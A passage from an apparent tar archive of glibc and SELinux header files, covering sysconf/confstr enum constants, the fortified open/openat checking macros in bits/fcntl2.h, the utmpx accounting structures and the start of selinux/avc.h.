_SC_2_C_VERSION _SC_2_C_VERSION _SC_2_UPE, #define _SC_2_UPE _SC_2_UPE _SC_XOPEN_XPG2, #define _SC_XOPEN_XPG2 _SC_XOPEN_XPG2 _SC_XOPEN_XPG3, #define _SC_XOPEN_XPG3 _SC_XOPEN_XPG3 _SC_XOPEN_XPG4, #define _SC_XOPEN_XPG4 _SC_XOPEN_XPG4 _SC_CHAR_BIT, #define _SC_CHAR_BIT _SC_CHAR_BIT _SC_CHAR_MAX, #define _SC_CHAR_MAX _SC_CHAR_MAX _SC_CHAR_MIN, #define _SC_CHAR_MIN _SC_CHAR_MIN _SC_INT_MAX, #define _SC_INT_MAX _SC_INT_MAX _SC_INT_MIN, #define _SC_INT_MIN _SC_INT_MIN _SC_LONG_BIT, #define _SC_LONG_BIT _SC_LONG_BIT _SC_WORD_BIT, #define _SC_WORD_BIT _SC_WORD_BIT _SC_MB_LEN_MAX, #define _SC_MB_LEN_MAX _SC_MB_LEN_MAX _SC_NZERO, #define _SC_NZERO _SC_NZERO _SC_SSIZE_MAX, #define _SC_SSIZE_MAX _SC_SSIZE_MAX _SC_SCHAR_MAX, #define _SC_SCHAR_MAX _SC_SCHAR_MAX _SC_SCHAR_MIN, #define _SC_SCHAR_MIN _SC_SCHAR_MIN _SC_SHRT_MAX, #define _SC_SHRT_MAX _SC_SHRT_MAX _SC_SHRT_MIN, #define _SC_SHRT_MIN _SC_SHRT_MIN _SC_UCHAR_MAX, #define _SC_UCHAR_MAX _SC_UCHAR_MAX _SC_UINT_MAX, #define _SC_UINT_MAX _SC_UINT_MAX _SC_ULONG_MAX, #define _SC_ULONG_MAX _SC_ULONG_MAX _SC_USHRT_MAX, #define _SC_USHRT_MAX _SC_USHRT_MAX _SC_NL_ARGMAX, #define _SC_NL_ARGMAX _SC_NL_ARGMAX _SC_NL_LANGMAX, #define _SC_NL_LANGMAX _SC_NL_LANGMAX _SC_NL_MSGMAX, #define _SC_NL_MSGMAX _SC_NL_MSGMAX _SC_NL_NMAX, #define _SC_NL_NMAX _SC_NL_NMAX _SC_NL_SETMAX, #define _SC_NL_SETMAX _SC_NL_SETMAX _SC_NL_TEXTMAX, #define _SC_NL_TEXTMAX _SC_NL_TEXTMAX _SC_XBS5_ILP32_OFF32, #define _SC_XBS5_ILP32_OFF32 _SC_XBS5_ILP32_OFF32 _SC_XBS5_ILP32_OFFBIG, #define _SC_XBS5_ILP32_OFFBIG _SC_XBS5_ILP32_OFFBIG _SC_XBS5_LP64_OFF64, #define _SC_XBS5_LP64_OFF64 _SC_XBS5_LP64_OFF64 _SC_XBS5_LPBIG_OFFBIG, #define _SC_XBS5_LPBIG_OFFBIG _SC_XBS5_LPBIG_OFFBIG _SC_XOPEN_LEGACY, #define _SC_XOPEN_LEGACY _SC_XOPEN_LEGACY _SC_XOPEN_REALTIME, #define _SC_XOPEN_REALTIME _SC_XOPEN_REALTIME _SC_XOPEN_REALTIME_THREADS, #define _SC_XOPEN_REALTIME_THREADS _SC_XOPEN_REALTIME_THREADS _SC_ADVISORY_INFO, #define _SC_ADVISORY_INFO _SC_ADVISORY_INFO _SC_BARRIERS, #define _SC_BARRIERS _SC_BARRIERS _SC_BASE, #define _SC_BASE _SC_BASE _SC_C_LANG_SUPPORT, #define _SC_C_LANG_SUPPORT _SC_C_LANG_SUPPORT _SC_C_LANG_SUPPORT_R, #define _SC_C_LANG_SUPPORT_R _SC_C_LANG_SUPPORT_R _SC_CLOCK_SELECTION, #define _SC_CLOCK_SELECTION _SC_CLOCK_SELECTION _SC_CPUTIME, #define _SC_CPUTIME _SC_CPUTIME _SC_THREAD_CPUTIME, #define _SC_THREAD_CPUTIME _SC_THREAD_CPUTIME _SC_DEVICE_IO, #define _SC_DEVICE_IO _SC_DEVICE_IO _SC_DEVICE_SPECIFIC, #define _SC_DEVICE_SPECIFIC _SC_DEVICE_SPECIFIC _SC_DEVICE_SPECIFIC_R, #define _SC_DEVICE_SPECIFIC_R _SC_DEVICE_SPECIFIC_R _SC_FD_MGMT, #define _SC_FD_MGMT _SC_FD_MGMT _SC_FIFO, #define _SC_FIFO _SC_FIFO _SC_PIPE, #define _SC_PIPE _SC_PIPE _SC_FILE_ATTRIBUTES, #define _SC_FILE_ATTRIBUTES _SC_FILE_ATTRIBUTES _SC_FILE_LOCKING, #define _SC_FILE_LOCKING _SC_FILE_LOCKING _SC_FILE_SYSTEM, #define _SC_FILE_SYSTEM _SC_FILE_SYSTEM _SC_MONOTONIC_CLOCK, #define _SC_MONOTONIC_CLOCK _SC_MONOTONIC_CLOCK _SC_MULTI_PROCESS, #define _SC_MULTI_PROCESS _SC_MULTI_PROCESS _SC_SINGLE_PROCESS, #define _SC_SINGLE_PROCESS _SC_SINGLE_PROCESS _SC_NETWORKING, #define _SC_NETWORKING _SC_NETWORKING _SC_READER_WRITER_LOCKS, #define _SC_READER_WRITER_LOCKS _SC_READER_WRITER_LOCKS _SC_SPIN_LOCKS, #define _SC_SPIN_LOCKS _SC_SPIN_LOCKS _SC_REGEXP, #define _SC_REGEXP _SC_REGEXP _SC_REGEX_VERSION, #define _SC_REGEX_VERSION _SC_REGEX_VERSION _SC_SHELL, #define _SC_SHELL _SC_SHELL _SC_SIGNALS, #define _SC_SIGNALS _SC_SIGNALS _SC_SPAWN, #define _SC_SPAWN _SC_SPAWN _SC_SPORADIC_SERVER, #define _SC_SPORADIC_SERVER _SC_SPORADIC_SERVER _SC_THREAD_SPORADIC_SERVER, #define _SC_THREAD_SPORADIC_SERVER _SC_THREAD_SPORADIC_SERVER _SC_SYSTEM_DATABASE, #define _SC_SYSTEM_DATABASE _SC_SYSTEM_DATABASE _SC_SYSTEM_DATABASE_R, #define _SC_SYSTEM_DATABASE_R _SC_SYSTEM_DATABASE_R _SC_TIMEOUTS, #define _SC_TIMEOUTS _SC_TIMEOUTS _SC_TYPED_MEMORY_OBJECTS, #define _SC_TYPED_MEMORY_OBJECTS _SC_TYPED_MEMORY_OBJECTS _SC_USER_GROUPS, #define _SC_USER_GROUPS _SC_USER_GROUPS _SC_USER_GROUPS_R, #define _SC_USER_GROUPS_R _SC_USER_GROUPS_R _SC_2_PBS, #define _SC_2_PBS _SC_2_PBS _SC_2_PBS_ACCOUNTING, #define _SC_2_PBS_ACCOUNTING _SC_2_PBS_ACCOUNTING _SC_2_PBS_LOCATE, #define _SC_2_PBS_LOCATE _SC_2_PBS_LOCATE _SC_2_PBS_MESSAGE, #define _SC_2_PBS_MESSAGE _SC_2_PBS_MESSAGE _SC_2_PBS_TRACK, #define _SC_2_PBS_TRACK _SC_2_PBS_TRACK _SC_SYMLOOP_MAX, #define _SC_SYMLOOP_MAX _SC_SYMLOOP_MAX _SC_STREAMS, #define _SC_STREAMS _SC_STREAMS _SC_2_PBS_CHECKPOINT, #define _SC_2_PBS_CHECKPOINT _SC_2_PBS_CHECKPOINT _SC_V6_ILP32_OFF32, #define _SC_V6_ILP32_OFF32 _SC_V6_ILP32_OFF32 _SC_V6_ILP32_OFFBIG, #define _SC_V6_ILP32_OFFBIG _SC_V6_ILP32_OFFBIG _SC_V6_LP64_OFF64, #define _SC_V6_LP64_OFF64 _SC_V6_LP64_OFF64 _SC_V6_LPBIG_OFFBIG, #define _SC_V6_LPBIG_OFFBIG _SC_V6_LPBIG_OFFBIG _SC_HOST_NAME_MAX, #define _SC_HOST_NAME_MAX _SC_HOST_NAME_MAX _SC_TRACE, #define _SC_TRACE _SC_TRACE _SC_TRACE_EVENT_FILTER, #define _SC_TRACE_EVENT_FILTER _SC_TRACE_EVENT_FILTER _SC_TRACE_INHERIT, #define _SC_TRACE_INHERIT _SC_TRACE_INHERIT _SC_TRACE_LOG, #define _SC_TRACE_LOG _SC_TRACE_LOG _SC_LEVEL1_ICACHE_SIZE, #define _SC_LEVEL1_ICACHE_SIZE _SC_LEVEL1_ICACHE_SIZE _SC_LEVEL1_ICACHE_ASSOC, #define _SC_LEVEL1_ICACHE_ASSOC _SC_LEVEL1_ICACHE_ASSOC _SC_LEVEL1_ICACHE_LINESIZE, #define _SC_LEVEL1_ICACHE_LINESIZE _SC_LEVEL1_ICACHE_LINESIZE _SC_LEVEL1_DCACHE_SIZE, #define _SC_LEVEL1_DCACHE_SIZE _SC_LEVEL1_DCACHE_SIZE _SC_LEVEL1_DCACHE_ASSOC, #define _SC_LEVEL1_DCACHE_ASSOC _SC_LEVEL1_DCACHE_ASSOC _SC_LEVEL1_DCACHE_LINESIZE, #define _SC_LEVEL1_DCACHE_LINESIZE _SC_LEVEL1_DCACHE_LINESIZE _SC_LEVEL2_CACHE_SIZE, #define _SC_LEVEL2_CACHE_SIZE _SC_LEVEL2_CACHE_SIZE _SC_LEVEL2_CACHE_ASSOC, #define _SC_LEVEL2_CACHE_ASSOC _SC_LEVEL2_CACHE_ASSOC _SC_LEVEL2_CACHE_LINESIZE, #define _SC_LEVEL2_CACHE_LINESIZE _SC_LEVEL2_CACHE_LINESIZE _SC_LEVEL3_CACHE_SIZE, #define _SC_LEVEL3_CACHE_SIZE _SC_LEVEL3_CACHE_SIZE _SC_LEVEL3_CACHE_ASSOC, #define _SC_LEVEL3_CACHE_ASSOC _SC_LEVEL3_CACHE_ASSOC _SC_LEVEL3_CACHE_LINESIZE, #define _SC_LEVEL3_CACHE_LINESIZE _SC_LEVEL3_CACHE_LINESIZE _SC_LEVEL4_CACHE_SIZE, #define _SC_LEVEL4_CACHE_SIZE _SC_LEVEL4_CACHE_SIZE _SC_LEVEL4_CACHE_ASSOC, #define _SC_LEVEL4_CACHE_ASSOC _SC_LEVEL4_CACHE_ASSOC _SC_LEVEL4_CACHE_LINESIZE, #define _SC_LEVEL4_CACHE_LINESIZE _SC_LEVEL4_CACHE_LINESIZE /* Leave room here, maybe we need a few more cache levels some day. */ _SC_IPV6 = _SC_LEVEL1_ICACHE_SIZE + 50, #define _SC_IPV6 _SC_IPV6 _SC_RAW_SOCKETS, #define _SC_RAW_SOCKETS _SC_RAW_SOCKETS _SC_V7_ILP32_OFF32, #define _SC_V7_ILP32_OFF32 _SC_V7_ILP32_OFF32 _SC_V7_ILP32_OFFBIG, #define _SC_V7_ILP32_OFFBIG _SC_V7_ILP32_OFFBIG _SC_V7_LP64_OFF64, #define _SC_V7_LP64_OFF64 _SC_V7_LP64_OFF64 _SC_V7_LPBIG_OFFBIG, #define _SC_V7_LPBIG_OFFBIG _SC_V7_LPBIG_OFFBIG _SC_SS_REPL_MAX, #define _SC_SS_REPL_MAX _SC_SS_REPL_MAX _SC_TRACE_EVENT_NAME_MAX, #define _SC_TRACE_EVENT_NAME_MAX _SC_TRACE_EVENT_NAME_MAX _SC_TRACE_NAME_MAX, #define _SC_TRACE_NAME_MAX _SC_TRACE_NAME_MAX _SC_TRACE_SYS_MAX, #define _SC_TRACE_SYS_MAX _SC_TRACE_SYS_MAX _SC_TRACE_USER_EVENT_MAX, #define _SC_TRACE_USER_EVENT_MAX _SC_TRACE_USER_EVENT_MAX _SC_XOPEN_STREAMS, #define _SC_XOPEN_STREAMS _SC_XOPEN_STREAMS _SC_THREAD_ROBUST_PRIO_INHERIT, #define _SC_THREAD_ROBUST_PRIO_INHERIT _SC_THREAD_ROBUST_PRIO_INHERIT _SC_THREAD_ROBUST_PRIO_PROTECT #define _SC_THREAD_ROBUST_PRIO_PROTECT _SC_THREAD_ROBUST_PRIO_PROTECT }; /* Values for the NAME argument to `confstr'. */ enum { _CS_PATH, /* The default search path. */ #define _CS_PATH _CS_PATH _CS_V6_WIDTH_RESTRICTED_ENVS, #define _CS_V6_WIDTH_RESTRICTED_ENVS _CS_V6_WIDTH_RESTRICTED_ENVS #define _CS_POSIX_V6_WIDTH_RESTRICTED_ENVS _CS_V6_WIDTH_RESTRICTED_ENVS _CS_GNU_LIBC_VERSION, #define _CS_GNU_LIBC_VERSION _CS_GNU_LIBC_VERSION _CS_GNU_LIBPTHREAD_VERSION, #define _CS_GNU_LIBPTHREAD_VERSION _CS_GNU_LIBPTHREAD_VERSION _CS_V5_WIDTH_RESTRICTED_ENVS, #define _CS_V5_WIDTH_RESTRICTED_ENVS _CS_V5_WIDTH_RESTRICTED_ENVS #define _CS_POSIX_V5_WIDTH_RESTRICTED_ENVS _CS_V5_WIDTH_RESTRICTED_ENVS _CS_V7_WIDTH_RESTRICTED_ENVS, #define _CS_V7_WIDTH_RESTRICTED_ENVS _CS_V7_WIDTH_RESTRICTED_ENVS #define _CS_POSIX_V7_WIDTH_RESTRICTED_ENVS _CS_V7_WIDTH_RESTRICTED_ENVS _CS_LFS_CFLAGS = 1000, #define _CS_LFS_CFLAGS _CS_LFS_CFLAGS _CS_LFS_LDFLAGS, #define _CS_LFS_LDFLAGS _CS_LFS_LDFLAGS _CS_LFS_LIBS, #define _CS_LFS_LIBS _CS_LFS_LIBS _CS_LFS_LINTFLAGS, #define _CS_LFS_LINTFLAGS _CS_LFS_LINTFLAGS _CS_LFS64_CFLAGS, #define _CS_LFS64_CFLAGS _CS_LFS64_CFLAGS _CS_LFS64_LDFLAGS, #define _CS_LFS64_LDFLAGS _CS_LFS64_LDFLAGS _CS_LFS64_LIBS, #define _CS_LFS64_LIBS _CS_LFS64_LIBS _CS_LFS64_LINTFLAGS, #define _CS_LFS64_LINTFLAGS _CS_LFS64_LINTFLAGS _CS_XBS5_ILP32_OFF32_CFLAGS = 1100, #define _CS_XBS5_ILP32_OFF32_CFLAGS _CS_XBS5_ILP32_OFF32_CFLAGS _CS_XBS5_ILP32_OFF32_LDFLAGS, #define _CS_XBS5_ILP32_OFF32_LDFLAGS _CS_XBS5_ILP32_OFF32_LDFLAGS _CS_XBS5_ILP32_OFF32_LIBS, #define _CS_XBS5_ILP32_OFF32_LIBS _CS_XBS5_ILP32_OFF32_LIBS _CS_XBS5_ILP32_OFF32_LINTFLAGS, #define _CS_XBS5_ILP32_OFF32_LINTFLAGS _CS_XBS5_ILP32_OFF32_LINTFLAGS _CS_XBS5_ILP32_OFFBIG_CFLAGS, #define _CS_XBS5_ILP32_OFFBIG_CFLAGS _CS_XBS5_ILP32_OFFBIG_CFLAGS _CS_XBS5_ILP32_OFFBIG_LDFLAGS, #define _CS_XBS5_ILP32_OFFBIG_LDFLAGS _CS_XBS5_ILP32_OFFBIG_LDFLAGS _CS_XBS5_ILP32_OFFBIG_LIBS, #define _CS_XBS5_ILP32_OFFBIG_LIBS _CS_XBS5_ILP32_OFFBIG_LIBS _CS_XBS5_ILP32_OFFBIG_LINTFLAGS, #define _CS_XBS5_ILP32_OFFBIG_LINTFLAGS _CS_XBS5_ILP32_OFFBIG_LINTFLAGS _CS_XBS5_LP64_OFF64_CFLAGS, #define _CS_XBS5_LP64_OFF64_CFLAGS _CS_XBS5_LP64_OFF64_CFLAGS _CS_XBS5_LP64_OFF64_LDFLAGS, #define _CS_XBS5_LP64_OFF64_LDFLAGS _CS_XBS5_LP64_OFF64_LDFLAGS _CS_XBS5_LP64_OFF64_LIBS, #define _CS_XBS5_LP64_OFF64_LIBS _CS_XBS5_LP64_OFF64_LIBS _CS_XBS5_LP64_OFF64_LINTFLAGS, #define _CS_XBS5_LP64_OFF64_LINTFLAGS _CS_XBS5_LP64_OFF64_LINTFLAGS _CS_XBS5_LPBIG_OFFBIG_CFLAGS, #define _CS_XBS5_LPBIG_OFFBIG_CFLAGS _CS_XBS5_LPBIG_OFFBIG_CFLAGS _CS_XBS5_LPBIG_OFFBIG_LDFLAGS, #define _CS_XBS5_LPBIG_OFFBIG_LDFLAGS _CS_XBS5_LPBIG_OFFBIG_LDFLAGS _CS_XBS5_LPBIG_OFFBIG_LIBS, #define _CS_XBS5_LPBIG_OFFBIG_LIBS _CS_XBS5_LPBIG_OFFBIG_LIBS _CS_XBS5_LPBIG_OFFBIG_LINTFLAGS, #define _CS_XBS5_LPBIG_OFFBIG_LINTFLAGS _CS_XBS5_LPBIG_OFFBIG_LINTFLAGS _CS_POSIX_V6_ILP32_OFF32_CFLAGS, #define _CS_POSIX_V6_ILP32_OFF32_CFLAGS _CS_POSIX_V6_ILP32_OFF32_CFLAGS _CS_POSIX_V6_ILP32_OFF32_LDFLAGS, #define _CS_POSIX_V6_ILP32_OFF32_LDFLAGS _CS_POSIX_V6_ILP32_OFF32_LDFLAGS _CS_POSIX_V6_ILP32_OFF32_LIBS, #define _CS_POSIX_V6_ILP32_OFF32_LIBS _CS_POSIX_V6_ILP32_OFF32_LIBS _CS_POSIX_V6_ILP32_OFF32_LINTFLAGS, #define _CS_POSIX_V6_ILP32_OFF32_LINTFLAGS _CS_POSIX_V6_ILP32_OFF32_LINTFLAGS _CS_POSIX_V6_ILP32_OFFBIG_CFLAGS, #define _CS_POSIX_V6_ILP32_OFFBIG_CFLAGS _CS_POSIX_V6_ILP32_OFFBIG_CFLAGS _CS_POSIX_V6_ILP32_OFFBIG_LDFLAGS, #define _CS_POSIX_V6_ILP32_OFFBIG_LDFLAGS _CS_POSIX_V6_ILP32_OFFBIG_LDFLAGS _CS_POSIX_V6_ILP32_OFFBIG_LIBS, #define _CS_POSIX_V6_ILP32_OFFBIG_LIBS _CS_POSIX_V6_ILP32_OFFBIG_LIBS _CS_POSIX_V6_ILP32_OFFBIG_LINTFLAGS, #define _CS_POSIX_V6_ILP32_OFFBIG_LINTFLAGS _CS_POSIX_V6_ILP32_OFFBIG_LINTFLAGS _CS_POSIX_V6_LP64_OFF64_CFLAGS, #define _CS_POSIX_V6_LP64_OFF64_CFLAGS _CS_POSIX_V6_LP64_OFF64_CFLAGS _CS_POSIX_V6_LP64_OFF64_LDFLAGS, #define _CS_POSIX_V6_LP64_OFF64_LDFLAGS _CS_POSIX_V6_LP64_OFF64_LDFLAGS _CS_POSIX_V6_LP64_OFF64_LIBS, #define _CS_POSIX_V6_LP64_OFF64_LIBS _CS_POSIX_V6_LP64_OFF64_LIBS _CS_POSIX_V6_LP64_OFF64_LINTFLAGS, #define _CS_POSIX_V6_LP64_OFF64_LINTFLAGS _CS_POSIX_V6_LP64_OFF64_LINTFLAGS _CS_POSIX_V6_LPBIG_OFFBIG_CFLAGS, #define _CS_POSIX_V6_LPBIG_OFFBIG_CFLAGS _CS_POSIX_V6_LPBIG_OFFBIG_CFLAGS _CS_POSIX_V6_LPBIG_OFFBIG_LDFLAGS, #define _CS_POSIX_V6_LPBIG_OFFBIG_LDFLAGS _CS_POSIX_V6_LPBIG_OFFBIG_LDFLAGS _CS_POSIX_V6_LPBIG_OFFBIG_LIBS, #define _CS_POSIX_V6_LPBIG_OFFBIG_LIBS _CS_POSIX_V6_LPBIG_OFFBIG_LIBS _CS_POSIX_V6_LPBIG_OFFBIG_LINTFLAGS, #define _CS_POSIX_V6_LPBIG_OFFBIG_LINTFLAGS _CS_POSIX_V6_LPBIG_OFFBIG_LINTFLAGS _CS_POSIX_V7_ILP32_OFF32_CFLAGS, #define _CS_POSIX_V7_ILP32_OFF32_CFLAGS _CS_POSIX_V7_ILP32_OFF32_CFLAGS _CS_POSIX_V7_ILP32_OFF32_LDFLAGS, #define _CS_POSIX_V7_ILP32_OFF32_LDFLAGS _CS_POSIX_V7_ILP32_OFF32_LDFLAGS _CS_POSIX_V7_ILP32_OFF32_LIBS, #define _CS_POSIX_V7_ILP32_OFF32_LIBS _CS_POSIX_V7_ILP32_OFF32_LIBS _CS_POSIX_V7_ILP32_OFF32_LINTFLAGS, #define _CS_POSIX_V7_ILP32_OFF32_LINTFLAGS _CS_POSIX_V7_ILP32_OFF32_LINTFLAGS _CS_POSIX_V7_ILP32_OFFBIG_CFLAGS, #define _CS_POSIX_V7_ILP32_OFFBIG_CFLAGS _CS_POSIX_V7_ILP32_OFFBIG_CFLAGS _CS_POSIX_V7_ILP32_OFFBIG_LDFLAGS, #define _CS_POSIX_V7_ILP32_OFFBIG_LDFLAGS _CS_POSIX_V7_ILP32_OFFBIG_LDFLAGS _CS_POSIX_V7_ILP32_OFFBIG_LIBS, #define _CS_POSIX_V7_ILP32_OFFBIG_LIBS _CS_POSIX_V7_ILP32_OFFBIG_LIBS _CS_POSIX_V7_ILP32_OFFBIG_LINTFLAGS, #define _CS_POSIX_V7_ILP32_OFFBIG_LINTFLAGS _CS_POSIX_V7_ILP32_OFFBIG_LINTFLAGS _CS_POSIX_V7_LP64_OFF64_CFLAGS, #define _CS_POSIX_V7_LP64_OFF64_CFLAGS _CS_POSIX_V7_LP64_OFF64_CFLAGS _CS_POSIX_V7_LP64_OFF64_LDFLAGS, #define _CS_POSIX_V7_LP64_OFF64_LDFLAGS _CS_POSIX_V7_LP64_OFF64_LDFLAGS _CS_POSIX_V7_LP64_OFF64_LIBS, #define _CS_POSIX_V7_LP64_OFF64_LIBS _CS_POSIX_V7_LP64_OFF64_LIBS _CS_POSIX_V7_LP64_OFF64_LINTFLAGS, #define _CS_POSIX_V7_LP64_OFF64_LINTFLAGS _CS_POSIX_V7_LP64_OFF64_LINTFLAGS _CS_POSIX_V7_LPBIG_OFFBIG_CFLAGS, #define _CS_POSIX_V7_LPBIG_OFFBIG_CFLAGS _CS_POSIX_V7_LPBIG_OFFBIG_CFLAGS _CS_POSIX_V7_LPBIG_OFFBIG_LDFLAGS, #define _CS_POSIX_V7_LPBIG_OFFBIG_LDFLAGS _CS_POSIX_V7_LPBIG_OFFBIG_LDFLAGS _CS_POSIX_V7_LPBIG_OFFBIG_LIBS, #define _CS_POSIX_V7_LPBIG_OFFBIG_LIBS _CS_POSIX_V7_LPBIG_OFFBIG_LIBS _CS_POSIX_V7_LPBIG_OFFBIG_LINTFLAGS, #define _CS_POSIX_V7_LPBIG_OFFBIG_LINTFLAGS _CS_POSIX_V7_LPBIG_OFFBIG_LINTFLAGS _CS_V6_ENV, #define _CS_V6_ENV _CS_V6_ENV _CS_V7_ENV #define _CS_V7_ENV _CS_V7_ENV }; bits/fcntl2.h 0000644 00000012706 15246445046 0007066 0 ustar 00 /* Checking macros for fcntl functions. Copyright (C) 2007-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _FCNTL_H # error "Never include <bits/fcntl2.h> directly; use <fcntl.h> instead." #endif /* Check that calls to open and openat with O_CREAT or O_TMPFILE set have an appropriate third/fourth parameter. */ #ifndef __USE_FILE_OFFSET64 extern int __open_2 (const char *__path, int __oflag) __nonnull ((1)); extern int __REDIRECT (__open_alias, (const char *__path, int __oflag, ...), open) __nonnull ((1)); #else extern int __REDIRECT (__open_2, (const char *__path, int __oflag), __open64_2) __nonnull ((1)); extern int __REDIRECT (__open_alias, (const char *__path, int __oflag, ...), open64) __nonnull ((1)); #endif __errordecl (__open_too_many_args, "open can be called either with 2 or 3 arguments, not more"); __errordecl (__open_missing_mode, "open with O_CREAT or O_TMPFILE in second argument needs 3 arguments"); __fortify_function int open (const char *__path, int __oflag, ...) { if (__va_arg_pack_len () > 1) __open_too_many_args (); if (__builtin_constant_p (__oflag)) { if (__OPEN_NEEDS_MODE (__oflag) && __va_arg_pack_len () < 1) { __open_missing_mode (); return __open_2 (__path, __oflag); } return __open_alias (__path, __oflag, __va_arg_pack ()); } if (__va_arg_pack_len () < 1) return __open_2 (__path, __oflag); return __open_alias (__path, __oflag, __va_arg_pack ()); } #ifdef __USE_LARGEFILE64 extern int __open64_2 (const char *__path, int __oflag) __nonnull ((1)); extern int __REDIRECT (__open64_alias, (const char *__path, int __oflag, ...), open64) __nonnull ((1)); __errordecl (__open64_too_many_args, "open64 can be called either with 2 or 3 arguments, not more"); __errordecl (__open64_missing_mode, "open64 with O_CREAT or O_TMPFILE in second argument needs 3 arguments"); __fortify_function int open64 (const char *__path, int __oflag, ...) { if (__va_arg_pack_len () > 1) __open64_too_many_args (); if (__builtin_constant_p (__oflag)) { if (__OPEN_NEEDS_MODE (__oflag) && __va_arg_pack_len () < 1) { __open64_missing_mode (); return __open64_2 (__path, __oflag); } return __open64_alias (__path, __oflag, __va_arg_pack ()); } if (__va_arg_pack_len () < 1) return __open64_2 (__path, __oflag); return __open64_alias (__path, __oflag, __va_arg_pack ()); } #endif #ifdef __USE_ATFILE # ifndef __USE_FILE_OFFSET64 extern int __openat_2 (int __fd, const char *__path, int __oflag) __nonnull ((2)); extern int __REDIRECT (__openat_alias, (int __fd, const char *__path, int __oflag, ...), openat) __nonnull ((2)); # else extern int __REDIRECT (__openat_2, (int __fd, const char *__path, int __oflag), __openat64_2) __nonnull ((2)); extern int __REDIRECT (__openat_alias, (int __fd, const char *__path, int __oflag, ...), openat64) __nonnull ((2)); # endif __errordecl (__openat_too_many_args, "openat can be called either with 3 or 4 arguments, not more"); __errordecl (__openat_missing_mode, "openat with O_CREAT or O_TMPFILE in third argument needs 4 arguments"); __fortify_function int openat (int __fd, const char *__path, int __oflag, ...) { if (__va_arg_pack_len () > 1) __openat_too_many_args (); if (__builtin_constant_p (__oflag)) { if (__OPEN_NEEDS_MODE (__oflag) && __va_arg_pack_len () < 1) { __openat_missing_mode (); return __openat_2 (__fd, __path, __oflag); } return __openat_alias (__fd, __path, __oflag, __va_arg_pack ()); } if (__va_arg_pack_len () < 1) return __openat_2 (__fd, __path, __oflag); return __openat_alias (__fd, __path, __oflag, __va_arg_pack ()); } # ifdef __USE_LARGEFILE64 extern int __openat64_2 (int __fd, const char *__path, int __oflag) __nonnull ((2)); extern int __REDIRECT (__openat64_alias, (int __fd, const char *__path, int __oflag, ...), openat64) __nonnull ((2)); __errordecl (__openat64_too_many_args, "openat64 can be called either with 3 or 4 arguments, not more"); __errordecl (__openat64_missing_mode, "openat64 with O_CREAT or O_TMPFILE in third argument needs 4 arguments"); __fortify_function int openat64 (int __fd, const char *__path, int __oflag, ...) { if (__va_arg_pack_len () > 1) __openat64_too_many_args (); if (__builtin_constant_p (__oflag)) { if (__OPEN_NEEDS_MODE (__oflag) && __va_arg_pack_len () < 1) { __openat64_missing_mode (); return __openat64_2 (__fd, __path, __oflag); } return __openat64_alias (__fd, __path, __oflag, __va_arg_pack ()); } if (__va_arg_pack_len () < 1) return __openat64_2 (__fd, __path, __oflag); return __openat64_alias (__fd, __path, __oflag, __va_arg_pack ()); } # endif #endif bits/utmpx.h 0000644 00000006771 15246445046 0007060 0 ustar 00 /* Structures and definitions for the user accounting database. GNU version. Copyright (C) 1997-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _UTMPX_H # error "Never include <bits/utmpx.h> directly; use <utmpx.h> instead." #endif #include <bits/types.h> #include <sys/time.h> #include <bits/wordsize.h> #ifdef __USE_GNU # include <paths.h> # define _PATH_UTMPX _PATH_UTMP # define _PATH_WTMPX _PATH_WTMP #endif #define __UT_LINESIZE 32 #define __UT_NAMESIZE 32 #define __UT_HOSTSIZE 256 /* The structure describing the status of a terminated process. This type is used in `struct utmpx' below. */ struct __exit_status { #ifdef __USE_GNU short int e_termination; /* Process termination status. */ short int e_exit; /* Process exit status. */ #else short int __e_termination; /* Process termination status. */ short int __e_exit; /* Process exit status. */ #endif }; /* The structure describing an entry in the user accounting database. */ struct utmpx { short int ut_type; /* Type of login. */ __pid_t ut_pid; /* Process ID of login process. */ char ut_line[__UT_LINESIZE] __attribute_nonstring__; /* Devicename. */ char ut_id[4] __attribute_nonstring__; /* Inittab ID. */ char ut_user[__UT_NAMESIZE] __attribute_nonstring__; /* Username. */ char ut_host[__UT_HOSTSIZE] __attribute_nonstring__; /* Hostname for remote login. */ struct __exit_status ut_exit; /* Exit status of a process marked as DEAD_PROCESS. */ /* The fields ut_session and ut_tv must be the same size when compiled 32- and 64-bit. This allows files and shared memory to be shared between 32- and 64-bit applications. */ #if __WORDSIZE_TIME64_COMPAT32 __int32_t ut_session; /* Session ID, used for windowing. */ struct { __int32_t tv_sec; /* Seconds. */ __int32_t tv_usec; /* Microseconds. */ } ut_tv; /* Time entry was made. */ #else long int ut_session; /* Session ID, used for windowing. */ struct timeval ut_tv; /* Time entry was made. */ #endif __int32_t ut_addr_v6[4]; /* Internet address of remote host. */ char __glibc_reserved[20]; /* Reserved for future use. */ }; /* Values for the `ut_type' field of a `struct utmpx'. */ #define EMPTY 0 /* No valid user accounting information. */ #ifdef __USE_GNU # define RUN_LVL 1 /* The system's runlevel. */ #endif #define BOOT_TIME 2 /* Time of system boot. */ #define NEW_TIME 3 /* Time after system clock changed. */ #define OLD_TIME 4 /* Time when system clock changed. */ #define INIT_PROCESS 5 /* Process spawned by the init process. */ #define LOGIN_PROCESS 6 /* Session leader of a logged in user. */ #define USER_PROCESS 7 /* Normal process. */ #define DEAD_PROCESS 8 /* Terminated process. */ #ifdef __USE_GNU # define ACCOUNTING 9 /* System accounting. */ #endif selinux/avc.h 0000644 00000040076 15246445046 0007176 0 ustar 00 /* * Access vector cache interface for object managers. * * Author : Eamon Walsh <ewalsh@epoch.ncsc.mil> */ #ifndef _SELINUX_AVC_H_ #define _SELINUX_AVC_H_ #include <stdint.h> #include <errno.h> #include <stdlib.h> #include 